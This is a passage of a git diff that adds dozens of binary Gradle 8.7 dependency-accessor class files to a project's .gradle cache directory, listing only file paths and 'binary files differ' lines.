b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMavenPluginsMavenAssemblyVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMavenPluginsMavenLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMavenPluginsMavenLibraryAccessors.class new file mode 100644 index 0000000..d1cb28c Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMavenPluginsMavenLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMavenPluginsMavenVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMavenPluginsMavenVersionAccessors.class new file mode 100644 index 0000000..24d3c61 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMavenPluginsMavenVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMavenPluginsVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMavenPluginsVersionAccessors.class new file mode 100644 index 0000000..c6b0c9f Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMavenPluginsVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMavenVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMavenVersionAccessors.class new file mode 100644 index 0000000..8797243 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMavenVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMyfacesCoreLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMyfacesCoreLibraryAccessors.class new file mode 100644 index 0000000..5822329 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMyfacesCoreLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMyfacesCoreMyfacesLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMyfacesCoreMyfacesLibraryAccessors.class new file mode 100644 index 0000000..d63e81c Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMyfacesCoreMyfacesLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMyfacesCoreMyfacesVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMyfacesCoreMyfacesVersionAccessors.class new file mode 100644 index 0000000..ae6f4af Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMyfacesCoreMyfacesVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMyfacesCoreVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMyfacesCoreVersionAccessors.class new file mode 100644 index 0000000..03540e3 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMyfacesCoreVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMyfacesLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMyfacesLibraryAccessors.class new file mode 100644 index 0000000..ce1f3a2 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMyfacesLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMyfacesVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMyfacesVersionAccessors.class new file mode 100644 index 0000000..32961cc Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheMyfacesVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatEmbedLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatEmbedLibraryAccessors.class new file mode 100644 index 0000000..e575533 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatEmbedLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatEmbedTomcatEmbedLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatEmbedTomcatEmbedLibraryAccessors.class new file mode 100644 index 0000000..e646616 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatEmbedTomcatEmbedLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatEmbedTomcatEmbedVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatEmbedTomcatEmbedVersionAccessors.class new file mode 100644 index 0000000..c387532 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatEmbedTomcatEmbedVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatEmbedTomcatLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatEmbedTomcatLibraryAccessors.class new file mode 100644 index 0000000..9474c0e Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatEmbedTomcatLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatEmbedTomcatVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatEmbedTomcatVersionAccessors.class new file mode 100644 index 0000000..4009501 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatEmbedTomcatVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatEmbedVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatEmbedVersionAccessors.class new file mode 100644 index 0000000..a6532f7 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatEmbedVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatLibraryAccessors.class new file mode 100644 index 0000000..902a4e6 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatTomcatLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatTomcatLibraryAccessors.class new file mode 100644 index 0000000..88db9b3 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatTomcatLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatTomcatVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatTomcatVersionAccessors.class new file mode 100644 index 0000000..e9db906 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatTomcatVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatVersionAccessors.class new file mode 100644 index 0000000..21a9947 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheTomcatVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheVersionAccessors.class new file mode 100644 index 0000000..ec5f3f8 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheWicketLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheWicketLibraryAccessors.class new file mode 100644 index 0000000..b7de601 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheWicketLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheWicketVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheWicketVersionAccessors.class new file mode 100644 index 0000000..e1b209d Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheWicketVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheWicketWicketLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheWicketWicketLibraryAccessors.class new file mode 100644 index 0000000..9375874 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheWicketWicketLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheWicketWicketVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheWicketWicketVersionAccessors.class new file mode 100644 index 0000000..85c983e Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgApacheWicketWicketVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgAspectjLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgAspectjLibraryAccessors.class new file mode 100644 index 0000000..1fc4c52 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgAspectjLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgAspectjVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgAspectjVersionAccessors.class new file mode 100644 index 0000000..2c884e3 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgAspectjVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgBeanshellLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgBeanshellLibraryAccessors.class new file mode 100644 index 0000000..37fabe6 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgBeanshellLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgBeanshellVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgBeanshellVersionAccessors.class new file mode 100644 index 0000000..b260f0d Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgBeanshellVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgClojureLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgClojureLibraryAccessors.class new file mode 100644 index 0000000..8046d97 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgClojureLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgClojureVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgClojureVersionAccessors.class new file mode 100644 index 0000000..61e99cc Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgClojureVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgCodehausGroovyLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgCodehausGroovyLibraryAccessors.class new file mode 100644 index 0000000..a1c2bb6 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgCodehausGroovyLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgCodehausGroovyVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgCodehausGroovyVersionAccessors.class new file mode 100644 index 0000000..39ec5f0 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgCodehausGroovyVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgCodehausLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgCodehausLibraryAccessors.class new file mode 100644 index 0000000..5f29fbd Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgCodehausLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgCodehausVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgCodehausVersionAccessors.class new file mode 100644 index 0000000..60d75c5 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgCodehausVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgEclipseJettyJettyLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgEclipseJettyJettyLibraryAccessors.class new file mode 100644 index 0000000..31b3c82 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgEclipseJettyJettyLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgEclipseJettyJettyVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgEclipseJettyJettyVersionAccessors.class new file mode 100644 index 0000000..871e398 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgEclipseJettyJettyVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgEclipseJettyLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgEclipseJettyLibraryAccessors.class new file mode 100644 index 0000000..60d768b Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgEclipseJettyLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgEclipseJettyVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgEclipseJettyVersionAccessors.class new file mode 100644 index 0000000..d9ef40f Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgEclipseJettyVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgEclipseLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgEclipseLibraryAccessors.class new file mode 100644 index 0000000..8883b52 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgEclipseLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgEclipseVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgEclipseVersionAccessors.class new file mode 100644 index 0000000..6eeacb9 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgEclipseVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgFusesourceJansiLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgFusesourceJansiLibraryAccessors.class new file mode 100644 index 0000000..bcd717b Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgFusesourceJansiLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgFusesourceJansiVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgFusesourceJansiVersionAccessors.class new file mode 100644 index 0000000..9e8c8d3 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgFusesourceJansiVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgFusesourceLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgFusesourceLibraryAccessors.class new file mode 100644 index 0000000..e1bc4b8 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgFusesourceLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgFusesourceVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgFusesourceVersionAccessors.class new file mode 100644 index 0000000..fd3fd39 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgFusesourceVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgGlassfishLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgGlassfishLibraryAccessors.class new file mode 100644 index 0000000..09b9903 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgGlassfishLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgGlassfishTyrusLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgGlassfishTyrusLibraryAccessors.class new file mode 100644 index 0000000..62c77f7 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgGlassfishTyrusLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgGlassfishTyrusTyrusLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgGlassfishTyrusTyrusLibraryAccessors.class new file mode 100644 index 0000000..0c2cdd0 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgGlassfishTyrusTyrusLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgGlassfishTyrusTyrusVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$OrgGlassfishTyrusTyrusVersionAccessors.class new file mode 100644 index 0000000..5c50491 